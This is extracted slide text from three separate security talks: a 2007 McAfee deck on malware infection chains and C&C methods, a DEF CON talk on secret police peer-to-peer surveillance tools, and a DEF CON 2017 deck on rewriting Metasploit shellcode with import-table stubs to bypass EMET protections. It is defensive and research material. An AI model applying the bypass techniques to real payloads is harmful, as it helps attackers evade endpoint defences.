RPCrypt EXE-Appended BrowserHelperObj FSG Themida TeLock ASpack NSpack Upack2 PE-Compact2 ASProtect.b New Installer UPX New Packer © 2007 McAfee, Inc. Typical „outbreak“ today 26 8/14/2007 Mass Spam of Email with Attachment Example Downloader-AAP 27 8/14/2007 Mass Spam of Email with Attachment Example Downloader-AAP 28 8/14/2007 1. User opens Attachment (.zip), double clicks executable 2. Downloader downloads Textfile 3. Textfile gets decoded 4. Binaries are downloaded from decoded URL. This is a dropper (Spy-Agent.ba) for the actual Trojan 5. Spy-Agent.ba drops IPV6MOML.DLL to %windir%\System32 6. Spy-Agent.ba.dll gets registered as Browser Helper Object 29 8/14/2007 Stolen Data sent to Attacker 30 8/14/2007 Another Example: Spam-Mespam • Arrives as Email, IM-Messages (AOL, Yahoo, ICQ), Webforum – link to a website in the mail • User follows link, gets infected • Spreads from infected machines by injecting the link and text in emails, IM Communication from the user — Messages arrive from a trusted, known person — High social engineering factor 31 8/14/2007 32 8/14/2007 33 8/14/2007 34 8/14/2007 35 8/14/2007 36 8/14/2007 37 8/14/2007 38 8/14/2007 Victim Distribution Europe 39 8/14/2007 Victim Distribution North America 40 8/14/2007 Victim Distribution APAC 41 8/14/2007 W32/Nuwar@MM, Zhelatin, Postcards ... 42 8/14/2007 W32/Nuwar@MM, Zhelatin, Postcards ... 43 8/14/2007 44 8/14/2007 45 8/14/2007 46 8/14/2007 47 8/14/2007 48 8/14/2007 49 8/14/2007 50 8/14/2007 51 8/14/2007 52 8/14/2007 53 8/14/2007 54 8/14/2007 55 8/14/2007 New C&C Methods • IRC — Was public IRC Servers — Now often private IRC Servers • Rented Systems • Owned Boxes — Plaintext protocol • HTTP • HTTPS • P2P 56 8/14/2007 New C&C Methods • XML for communication to avoid detection 57 8/14/2007 Bruteforce and Social Engineering • Bruteforce — Exploits on Websites • Detect Browser Type and OS to serve matching exploits — Exploits in attached multimedia files — Exploits in attached Office Documents • Social Engineering — Executables embedded in Documents • Email titled ´Proforma Invoice for ...´ • .doc as attachment • In the document ´DOUBLE CLICK THE ICON ABOVE TO VIEW DETAILS´ — Fake Codec ‚required‘ for multimedia files 58 8/14/2007 Rootkits • The number of rootkits on 32-bit platforms increases • approximately 200,000 systems reported rootkit infestations since the beginning of 2007 • 10 percent increase over the first quarter of 2006 Source:McAfee Research, Virus Tracking Map 59 8/14/2007 Rootkits • Not commonly used with Trojans today • But increasing • Detection and cleaning require 2 steps — Detection and removal of the Rootkit — Detection and removal of the Trojan • Techniques used today can be handled easily — Virtualization and BIOS-Rootkits not seen, yet Free Tool: McAfee Rootkit Detective http://vil.nai.com/vil/averttools.aspx © 2007 McAfee, Inc. Questions?
pdf
Hurley, Burish & Stanton, S.C. SECRET TOOLS Learning About Government Surveillance Software You Can’t Ever See Peyton “Foofus” Engel DEF CON 25 Hurley, Burish & Stanton, S.C. Non-Public Technology  Breath analyzers: source code analysis reveals bugs » These are used for deciding whether to arrest and charge people. • https://arstechnica.com/tech-policy/2009/05/buggy-breathalyzer-code- reflects-importance-of-source-review/ • https://www.wired.com/2009/05/minnesota-court-release-source-code-of- breath-testing-machines/  The Clipper Chip: the NSA-designed encryption device with a built-in back door • https://en.wikipedia.org/wiki/Clipper_chip  Trust us: we know what we’re doing Hurley, Burish & Stanton, S.C. Surveillance Is Pervasive  CALEA » Restrictions on installing un-tappable phone systems • https://en.wikipedia.org/wiki/Communications_Assistance_for_Law_E nforcement_Act  NSA Call Metadata Collection » Traffic analysis can be just as useful as content analysis  Surveillance is secret, also: most people didn’t find out about the extent of surveillance until Snowden told us • http://www.npr.org/sections/thetwo-way/2015/11/29/457779757/nsa- ends-sept-11th-era-surveillance-program Hurley, Burish & Stanton, S.C. More Than Just Surveillance  Some of the “Playpen” cases have been dropped over the use of a NIT » FBI implants malware on a website that it seized in order to obtain IP addresses of TOR users • https://arstechnica.com/tech-policy/2017/03/doj-drops-case- against-child-porn-suspect-rather-than-disclose-fbi-hack/  Government exploit code leaks • https://www.theregister.co.uk/2017/03/08/cia_exploit_list_in_fu ll/  Where is the boundary between aggressive investigation and violating rights? Hurley, Burish & Stanton, S.C. Investigating Peer-to-Peer Networks  Gnutella, BitTorrent, Ares, etc.  These have been around for a while (the Gnutella variant has been in use since 2009)  Forks of open-source software » Make use of under-the-hood aspects of the peer-to- peer protocol that aren’t usually accessible to users » Add in some features that would not be of interest to ordinary users Hurley, Burish & Stanton, S.C. Who Develops These?  Joseph Versace: Programmer/analyst with the Ontario Provincial Police » Roundup Ares: .Net-based client for the Ares network  Collaboration of CS departments at Univ. MA Amherst, Georgetown; PA and MA state police: » Roundup: Java-based fork of the Phex Gnutella client » Roundup Torrential Downpour: for BitTorrent Hurley, Burish & Stanton, S.C. New Uses for Existing Features  Gnutella » Search query hits include SHA-1 values of files shared » “Swarming” information provided by download source hosts includes IP addresses and GUIDs of systems sharing the same file » Direct browsing of peers Hurley, Burish & Stanton, S.C. New Uses for Existing Features  BitTorrent » Tracker Messages: which peers are interested in which torrents? » Torrent Segment Data: peers announce what pieces of files they possess, when they connect for downloads and when they acquire new segments » Peer Exchange: like swarming info for Gnutella Hurley, Burish & Stanton, S.C. New Features  Known file lists: a database of hashes of known files of interest  IP Geolocation  Single-Source Downloading: attempt to get all segments of a file from a single host (i.e., defeat the purpose of the peer-to-peer protocol)  Anti-feature: uploading is disabled  “Tagging” individual systems – more on this later... Hurley, Burish & Stanton, S.C. So What Do They Do?  Impersonate regular peers  Engage in activity (e.g., queries, announcements) designed to attract connections  Do queries of their own to find peers sharing files of interest  Inspect the systems that they connect with  Perform single-source downloads  Log their activity Hurley, Burish & Stanton, S.C. The Code Must Remain Secret #1  It would divulge our database of contraband  The database is part of the software? Unlikely.  And disclosing would be disruptive to the trading of illegal materials: » Everyone would go and flip a bit or two in their files, and that would mean they wouldn’t be identified as the same on the network Hurley, Burish & Stanton, S.C. The Code Must Remain Secret #2  It will disclose the undercover investigators  Interesting: suggests there may be a shared list of static Ips or reverse DNS, so that investigators don’t accidentally target one another  The list is probably not part of the software, but the software probably does refresh its copy from time to time  But then from time to time, they show logs from the software, which include public IPs Hurley, Burish & Stanton, S.C. Potential Problems: Reliability  False Positives: does the software ever erroneously report what it has done? » Investigators frequently don’t find the files their warrant affidavits say they downloaded » But, they also generally don’t execute warrants until months after the downloads  Are there conditions under which the software malfunctions? Hurley, Burish & Stanton, S.C. Potential Problems: Warrants  Beyond the technology the public has  Kyllo v. United States, 533 U.S. 27 (2001): use of FLIR system to visualize activities with home required a warrant » “But this is just modified open-source software; any user could do the same thing.” » How would we know we were doing the same thing?  Tagging: GUIDs and log files » Shared vs. non-shared areas Hurley, Burish & Stanton, S.C. Potential Problems: Testimony  What are the chances a judge will be able to evaluate the reliability of statements about: » How IP addresses can be correlated to ISP subscriber identity? » How peer-to-peer networks work? » How a government tool based on open-source software works?  Who is qualified to testify about how these tools work in court? » Requires more than just knowledge of their use Hurley, Burish & Stanton, S.C. Potential Problems: Exploitation  The software may inherit flaws from the components out of which it was constructed (e.g., Java, Phex, the BitTorrent protocol, etc.)  The software may have bugs of its own  Exploitation would likely go undetected » Lack of transparency/availability » Mostly used by investigators, not security professionals Hurley, Burish & Stanton, S.C. THANKS! Brought to you by the kindly folk of Hurley, Burish & Stanton, S.C. and foofus.net
pdf
Teaching Old Shellcode New Tricks DEF CON 2017 @midnite_runr Whoami • US Marine (out in 2001) • Wrote BDF/BDFProxy • Co-Authored Ebowla • Found OnionDuke • Work @ Okta • Twitter: @midnite_runr Why This Talk • It’s fun • It’s time to update publicly available shellcode Outline • Some History • Introduced Methods • Mitigations and Bypasses Part I - History Stephen Fewer’s Hash API • SFHA or Hash API or MetaSploit Payload Hash • Introduced: 8/2009 • Uses a 4 byte hash to identify DLL!WinAPI in EAT • JMPs to the WinAPI ; return to payload • Some code borrowed from M.Miller’s 2003 Understanding Windows Shellcode paper http://blog.harmonysecurity.com/2009/08/calling-api-functions.html Typical SHFA Based Payload [—SHFA—][the actual payload logic] Typical SHFA Based Payload [—SHFA—][the actual payload logic] 1 Typical SHFA Based Payload [—SHFA—][the actual payload logic] 1 2 Typical SHFA Based Payload [—SHFA—][the actual payload logic] 1 2 3 Typical SHFA Based Payload [—SHFA—][the actual payload logic] [some winAPI] 1 2 3 Typical SHFA Based Payload [—SHFA—][the actual payload logic] [some winAPI] 1 2 3 4 Typical SHFA Based Payload [—SHFA—][the actual payload logic] [some winAPI] 1 2 3 4 5, Continue to 2 until done Defeating SFHA • EMET • Piotr Bania Phrack 63:15 // HAVOC - POC||GTFO 12:7 EMET Caller/EAF(+) • EAF(+) • Introduced: 2010/2014(+) • Protect reading KERNEL32/NTDLL and KERNELBASE(+) • Caller • 2013 • Block ret/jmp into a winAPI (Anti/rop) for critical functions EMET is EOL • Supported through July 31, 2018 • Still works** • Re-introduced in Windows RS3 ** Depends on threat model Tor Browser Exploit vs EMET Bypassing EMET EAF(+) • 2010: Berend-Jan Wever (Skypher Blog) - ret-2- libc via ntdll • 1/2012 Piotr Bania - Erase HW Breakpoints via NtContinue • 9/2014 - Offensive Security - EAF+ bypass via EMET function reuse calling ZwSetContextThread directly http://web.archive.org/web/20101125174240/http://skypher.com/index.php/2010/11/17/bypassing-eaf/ http://piotrbania.com/all/articles/anti_emet_eaf.txt https://www.offensive-security.com/vulndev/disarming-emet-v5-0/ Bypassing EMET Caller 2/2014 - Jared Demot - Demo’ed a payload that directly used LoadLibraryA (LLA) https://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf IAT Based Payloads in BDF • May 30, 2014 • Added IAT based payloads/shellcode to BDF • Directly used IAT API thunks • This bypassed EMET Caller/EAF(+) checks Position Independent IAT Shellcode • Dec, 2014 • 12/2003 - Skape (M. Miller) Understanding Windows Shellcode • 2005 - Piotr Bania - IAT Parser - Phrack 63:15 • 1997 - Cabanas Virus - 29A http://www.hick.org/code/skape/papers/win32-shellcode.pdf http://phrack.org/issues/63/15.html http://virus.wikidot.com/cabanas Emailed the EMET Team ¯\_()_/¯ IAT Based Stub • LoadLibraryA(LLA)/GetProcAddress(GPA) in Main Module https://gist.github.com/secretsquirrel/2ad8fba6b904c2c952b8 IAT Based Stub(s) • LoadLibraryA/GetProcAddress in Main Module • LoadLibraryA/GetProcAddress in a loaded Module (dll) GetProcAddress Only Stub GetProcAddress Only Stub GetProcAddress LoadLibraryA GetProcAddress Only Stub GetProcAddress LoadLibraryA LoadLibraryA.Handle = GetProcAddress(Kernel32.addr, ‘LoadLibraryA’) GetProcAddress Only Stub GetProcAddress LoadLibraryA LoadLibraryA.Handle = GetProcAddress(Kernel32.addr, ‘LoadLibraryA’) Push eax; LLA is in EAX mov ebx, esp; mov ptr to LLA in ebx … call [ebx] IAT Based Stub(s) • LoadLibraryA(LLA)/GetProcAddress(GPA) in main module • LLA/GPA in a loaded module (dll) • GPA to LLA in main module • GPA to LLA in loaded module System Binaries/DLLs with LLAGPA or GPA in IAT LLAGPA GPA XPSP3 1300 5426 VISTA 645 26855 WIN7 675 48383 WIN8 324 31158 WIN10 225 50522 FireEye Flash Malware w/ EMET Bypass Jun 06, 2016 https://www.fireeye.com/blog/threat-research/2016/06/angler_exploit_kite.html POC: https://github.com/ShellcodeSmuggler/IAT_POC https://www.okta.com/blog/2016/07/the-emet-serendipity-emets-ineffectiveness-against-non-exploitation-uses/ What now? • July 2016 • More payloads • Many MetaSploit payloads were based off of Hash API stub • Much work • Some ideas Part II - Development Two Ideas • Remove SFHA and replace it with X • Build something to rewrite the payload logic for use with an IAT parsing stub REWRITE ALL THE THINGS MSF Winx86 Payloads Follow a pattern https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_recv.asm Workflow • Take Input via stdin or from file • Disassemble • Capture blocks of instructions • Capture API calls • Capture control flow between two locations • Protect LLA/GPA registers from being clobbered LOE LOE • Five days straight at about 12-15 hour days LOE • Five days straight at about 12-15 hour days • When I solved one problem, 2-3 more appeared LOE • Five days straight at about 12-15 hour days • When I solved one problem, 2-3 more appeared • There is a point where a manual rewrite would have been easier - I crossed it LOE • Five days straight at about 12-15 hour days • When I solved one problem, 2-3 more appeared • There is a point where a manual rewrite would have been easier - I crossed it • !BURN IT DOWN! Next idea Next idea [—SFHA—] Next idea [the actual payload logic] [—SFHA—] Next idea [the actual payload logic] Next idea [the actual payload logic] [IAT Stub] Next idea [IAT Stub] [offset table] [the actual payload logic] Some requirements • Support Read/Execute Memory • Try to keep it small • Support any Metasploit Shellcode that uses SFHA Workflow • Take Input via stdin or from file • Disassemble • Capture blocks of instructions • Capture API calls • Build a lookup/offset table • Find an appropriate IAT for the EXE • OUTPUT Offset Table Approach Offset Table Approach [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX][XX] Offset Table Approach [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API Offset Table Approach b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00' [876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6] [XX] [XX] DLL API The new workflow [IAT Stub ][Lookuptable][the actual payload logic] The new workflow [IAT Stub ][Lookuptable][the actual payload logic] 1 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] 1 2 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] [some winAPI] 1 2 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] [some winAPI] 1 2 3 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] [some winAPI] 1 2 3 4 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] [some winAPI] 1 2 3 5 4 The new workflow [IAT Stub ][Lookuptable][the actual payload logic] [some winAPI] 1 2 3 5 6, Continue to 2 until done 4 LOE • The initial POC took < 12 hours • Adding the workflow and stubs:12 hours • Finalizing the tool: ಠ_ಠ • But I’m happy " About those API Hashes About those API Hashes • They are now meaningless About those API Hashes • They are now meaningless • AVs depend on them for signatures About those API Hashes • They are now meaningless • AVs depend on them for signatures • What happens if we mangle them? AV Demo DEMO: https://youtu.be/p3vFRx5dur0 Introducing FIDO Introducing FIDO Introducing FIDO Issues with some DLLs System Binaries/DLLs with LLAGPA or GPA in IAT LLAGPA GPA XPSP3 1300 5426 VISTA 645 26855 WIN7 675 48383 WIN8 324 31158 WIN10 225 50522 API-MS-WIN-CORE*.dlls https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN • These dlls redirect to the actual implementation of the windows API https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN • These dlls redirect to the actual implementation of the windows API • Existed since win7 https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN • These dlls redirect to the actual implementation of the windows API • Existed since win7 • GPA is implemented via API-MS-WIN-CORE- LIBRARYLOADER-*.DLL https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN • These dlls redirect to the actual implementation of the windows API • Existed since win7 • GPA is implemented via API-MS-WIN-CORE- LIBRARYLOADER-*.DLL • Normally used in system dlls https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ API-MS-WIN-CORE*.dlls • MINWIN • These dlls redirect to the actual implementation of the windows API • Existed since win7 • GPA is implemented via API-MS-WIN-CORE- LIBRARYLOADER-*.DLL • Normally used in system dlls • Can be called by userland applications via IAT parsing https://betanews.com/2009/12/02/mark-russinovich-on-minwin-the-new-core-of-windows/ Because it is in… Because it is in… Kernel32.dll SAY AGAIN? SAY AGAIN? • We just need GPA in any DLL Import Table to access the entire windows API SAY AGAIN? • We just need GPA in any DLL Import Table to access the entire windows API • Since win7, GPA has been in Kernel32.dll Import Table SAY AGAIN? • We just need GPA in any DLL Import Table to access the entire windows API • Since win7, GPA has been in Kernel32.dll Import Table • We’ve had a stable EMET EAF(+)/Caller bypass opportunity since Win7 (works for win7 - win10) Tor Exploit w/My Stub vs EAF+/Caller DEMO: https://youtu.be/oqHT6Ienudg Updates • These payloads were introduced at REcon Brussels - Jan 2017 • For DEF CON 2017 - 64bit payloads are being released. Part III - Mitigations My Reaction My Reaction How Does the IAT Filter Work • The pointer to the Import Name in the import table no longer points to: • GetProcAddress • LoadLibraryA • The API Thunk is still there • No Import name == driving blind Missed an Import Missed an Import GetProcAddressForCaller (GPAFC) • Introduced in win8 • Exported by kernelbase.dll • Imported by Kernel32.dll • Works very similar to GPA • Not filtered by the IAT Filter GPA(‘DLLHandle’, ‘API String’) == GPAFC(‘DLLHandle’, ‘API String’, 0) Example in FIDO: ExternGPAFC Now what? Think About It Go Directly to GetProcAddress Process Memory Go Directly to GetProcAddress PEB.imagebase GetProcAddress Process Memory Go Directly to GetProcAddress x PEB.imagebase GetProcAddress Offset - Version(s) Dependent Process Memory Example Dev Workflow • Find GetProcAddress (GPA) in process space (application specific) • No system DLLs • If multiple versions have the same exploit • find a lynchpin GetProcAddress location that is the same across all versions • Else, diff the GPA target binary • Use the diff locations in the payload to ID the version to the corresponding GPA offset Examples in FIDO: OffsetGPA and ExternOffsetGPA Questions? • Get the code: https://github.com/secretsquirrel/ fido • Thanks: @SubTee, @FreedomCoder, @Wired33, @__blue__
pdf